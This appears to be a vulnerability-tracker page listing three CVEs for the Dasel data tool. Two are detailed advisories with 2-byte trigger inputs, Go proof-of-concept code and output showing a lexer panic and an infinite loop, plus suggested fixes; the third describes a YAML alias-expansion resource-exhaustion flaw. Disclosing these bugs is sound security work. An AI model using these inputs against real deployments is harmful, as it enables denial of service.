VYPR

Dasel

by Tomwright

Source repositories

CVEs (3)

  • CVE-2026-46377higMay 19, 2026
    risk 0.45cvss epss

    ### Summary `dasel`'s selector lexer panics with an index-out-of-range error when tokenizing a quoted string that ends with a trailing backslash (e.g., `"\` or `'\`). A 2-byte input causes an immediate process crash via Go runtime panic. I confirmed the issue on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on `master` commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. I also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). No fix is available yet. ### Details The bug is in the escape sequence handler within `(*Tokenizer).parseCurRune` in [`selector/lexer/tokenize.go#L191-L194`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/selector/lexer/tokenize.go#L191-L194): ```go if p.src[pos] == '\\' { pos++ buf = append(buf, rune(p.src[pos])) // line 193: no bounds check pos++ continue } ``` When a backslash is the last character inside quotes, `pos++` increments the position past the end of the input. The subsequent `p.src[pos]` attempts to read past the end of the slice, which Go turns into a runtime panic: `runtime error: index out of range [2] with length 2`. Notably, the same function already handles unterminated quoted strings by returning `UnexpectedEOFError`, but the escape sequence path does not perform a similar bounds check. Minimal trigger: `"\` or `'\` (2 bytes) Test environment: - MacBook Air (Apple M2), macOS / Darwin `arm64` - Go `1.26.1` - dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) ### PoC ```go package main import ( "fmt" "runtime" "runtime/debug" "github.com/tomwright/dasel/v3/selector/lexer" ) func main() { fmt.Printf("Go version: %s\n", runtime.Version()) fmt.Printf("GOARCH: %s\n", runtime.GOARCH) fmt.Println() for _, input := range []string{`"\`, `'\`} { fmt.Printf("Input: %s\n", input) func() { defer func() { if r := recover(); r != nil { fmt.Printf("PANIC: %v\n", r) debug.PrintStack() } }() t := lexer.NewTokenizer(input) tokens, err := t.Tokenize() if err != nil { fmt.Printf("Error: %v\n", err) } else { fmt.Printf("OK: %d tokens\n", len(tokens)) } }() fmt.Println() } } ``` Observed output on `v3.3.1` in the test environment above: ```text Go version: go1.26.1 GOARCH: arm64 Input: "\ PANIC: runtime error: index out of range [2] with length 2 goroutine 1 [running]: ... github.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...) .../selector/lexer/tokenize.go:193 +0x1c2c ... Input: '\ PANIC: runtime error: index out of range [2] with length 2 goroutine 1 [running]: ... github.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...) .../selector/lexer/tokenize.go:193 +0x1c2c ... ``` ### Impact An attacker who can control or influence the selector/query string passed to dasel can trigger a Go runtime panic and crash the process unless the caller explicitly recovers from panics. The selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced: - Web applications using dasel for dynamic data querying - Applications that construct selectors from user input - Shared tooling environments where selectors are passed as parameters ### Suggested Fix Add a bounds check after incrementing `pos` past the backslash, consistent with the existing `UnexpectedEOFError` handling for unterminated quoted strings: ```go if p.src[pos] == '\\' { pos++ if pos >= p.srcLen { return Token{}, &UnexpectedEOFError{Pos: pos} } buf = append(buf, rune(p.src[pos])) pos++ continue } ```

  • CVE-2026-46378higMay 19, 2026
    risk 0.38cvss epss

    ### Summary `dasel`'s selector lexer enters a non-terminating loop when tokenizing an unterminated regex pattern such as `r/abc`. A 2-byte input (`r/`) is sufficient to cause the tokenizer to consume 100% CPU on one core indefinitely. I confirmed the issue on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on `master` commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. I also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). No fix is available yet. ### Details The bug is in the `matchRegexPattern` closure within `(*Tokenizer).parseCurRune` in [`selector/lexer/tokenize.go#L237-L247`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/selector/lexer/tokenize.go#L237-L247): ```go matchRegexPattern := func(pos int) *Token { if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') { return nil } start := pos pos += 2 for !p.peekRuneEqual(pos, '/') { // line 243 pos++ } pos++ return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start)) } ``` When no closing `/` exists, [`peekRuneEqual`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/selector/lexer/tokenize.go#L39-L43) returns `false` when `pos >= srcLen` (because the bounds check at line 40 returns `false` for out-of-range positions). Since `!false = true`, the loop condition remains true and `pos` increments indefinitely. The function never returns. Notably, the same function already handles unterminated quoted strings by returning `UnexpectedEOFError`, but the regex pattern path does not perform a similar end-of-input check. Minimal trigger: `r/` (2 bytes) Test environment: - MacBook Air (Apple M2), macOS / Darwin `arm64` - Go `1.26.1` - dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) ### PoC ```go package main import ( "fmt" "runtime" "time" "github.com/tomwright/dasel/v3/selector/lexer" ) func main() { fmt.Printf("Go version: %s\n", runtime.Version()) fmt.Printf("GOARCH: %s\n", runtime.GOARCH) fmt.Println() for _, input := range []string{"r/unterminated", "r/"} { fmt.Printf("Input: %s\n", input) done := make(chan string, 1) go func() { t := lexer.NewTokenizer(input) start := time.Now() tokens, err := t.Tokenize() elapsed := time.Since(start) if err != nil { done <- fmt.Sprintf("Error after %v: %v", elapsed, err) } else { done <- fmt.Sprintf("OK after %v: %d tokens", elapsed, len(tokens)) } }() select { case result := <-done: fmt.Println(result) case <-time.After(5 * time.Second): fmt.Println("CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop") } fmt.Println() } } ``` Observed output on `v3.3.1` in the test environment above: ```text Go version: go1.26.1 GOARCH: arm64 Input: r/unterminated CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop Input: r/ CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop ``` ### Impact An attacker who can control or influence the selector/query string passed to dasel can cause the tokenizer to enter a non-terminating loop. The affected process consumes 100% CPU on one core and does not make progress until externally terminated. The selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced: - Web applications using dasel for dynamic data querying - Applications that construct selectors from user input - Shared tooling environments where selectors are passed as parameters ### Suggested Fix The regex scanner should bounds-check and return an error on unterminated regex literals, consistent with unterminated quoted strings. Since `matchRegexPattern` currently returns `*Token`, the fix also requires changing the function signature to propagate errors. For example: ```go matchRegexPattern := func(pos int) (*Token, error) { if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') { return nil, nil } start := pos pos += 2 for pos < p.srcLen && p.src[pos] != '/' { pos++ } if pos >= p.srcLen { return nil, &UnexpectedEOFError{Pos: pos} } pos++ return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start)), nil } ```

  • CVE-2026-33320Mar 24, 2026
    risk 0.00cvss epss 0.00

    Dasel is a command-line tool and library for querying, modifying, and transforming data structures. Starting in version 3.0.0 and prior to version 3.3.1, Dasel's YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own `UnmarshalYAML` implementation, which manually resolves alias nodes by recursively following `yaml.Node.Alias` pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit. Version 3.3.2 contains a patch for the issue.